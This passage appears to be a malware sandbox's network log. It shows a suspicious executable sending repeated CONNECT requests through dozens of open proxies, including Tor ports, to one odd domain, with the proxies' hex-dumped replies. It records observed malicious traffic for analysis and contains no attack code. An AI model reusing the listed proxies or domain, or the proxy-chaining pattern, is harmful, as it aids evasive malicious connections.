Mar 11, 2024 15:21:08.395786047 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 14:21:07 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1228	192.168.2.9	54006	114.156.77.107	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.745527029 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.037993908 CET	1286	IN	HTTP/1.1 403 Forbidden Connection: close Content-Type: text/html Cache-Control: no-cache X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Content-Length: 4897 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 38 3b 20 49 45 3d 45 44 47 45 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 52 6f 62 6f 74 6f 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 36 61 36 61 36 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 64 61 74 65 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 65 6d 61 69 6c 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 6e 75 6d 62 65 72 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 70 61 73 73 77 6f 72 64 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 73 65 61 72 63 68 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 6c 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 78 74 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 69 6d 65 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 75 72 6c 5d 2c 20 73 65 6c 65 63 74 2c 20 74 65 78 74 61 72 65 61 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 36 32 36 32 36 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 62 61 73 65 6c 69 6e 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 2e 32 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 20 73 6f 6c 69 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 20 31 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 61 39 61 39 61 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=8; IE=EDGE"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link href="https://fonts.googleapis.com/css?family=Roboto&display=swap" rel="stylesheet"> <style type="text/css"> body { height: 100%; font-family: Roboto, Helvetica, Arial, sans-serif; color: #6a6a6a; margin: 0; display: flex; align-items: center; justify-content: center; } input[type=date], input[type=email], input[type=number], input[type=password], input[type=search], input[type=tel], input[type=text], input[type=time], input[type=url], select, textarea { color: #262626; vertical-align: baseline; margin: .2em; border-style: solid; border-width: 1px; border-color: #a9a9a9; background-color: #fff;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1229	192.168.2.9	53983	85.25.103.138	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.746154070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1230	192.168.2.9	53958	52.80.19.207	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.746155977 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:08.205410957 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1231	192.168.2.9	53991	161.97.74.176	30000	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.774105072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.097917080 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1232	192.168.2.9	54010	144.76.96.180	5566	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.792334080 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.100497961 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1233	192.168.2.9	52346	62.109.0.18	24202	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.799810886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.888065100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.887904882 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:19.888006926 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1234	192.168.2.9	53364	113.143.37.82	9002	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.800143003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1235	192.168.2.9	54063	178.79.165.164	60011	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.811759949 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.434705973 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1236	192.168.2.9	54078	147.75.92.244	9401	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.812391043 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:08.093832970 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1237	192.168.2.9	53999	139.59.1.14	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.815383911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.224132061 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1238	192.168.2.9	53997	65.1.40.47	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.821861029 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.213439941 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:08 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1239	192.168.2.9	52404	222.220.102.159	8000	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.822751045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.888205051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:41.274354935 CET	536	IN	HTTP/1.1 502 Bad Gateway Server: openresty Date: Mon, 11 Mar 2024 14:21:41 GMT Content-Type: text/html Content-Length: 556 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center>openresty</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE a
Mar 11, 2024 15:21:44.354187012 CET	536	IN	HTTP/1.1 502 Bad Gateway Server: openresty Date: Mon, 11 Mar 2024 14:21:41 GMT Content-Type: text/html Content-Length: 556 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center>openresty</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1240	192.168.2.9	54059	125.107.149.245	5555	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.826076984 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1241	192.168.2.9	54095	110.12.211.140	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.827928066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
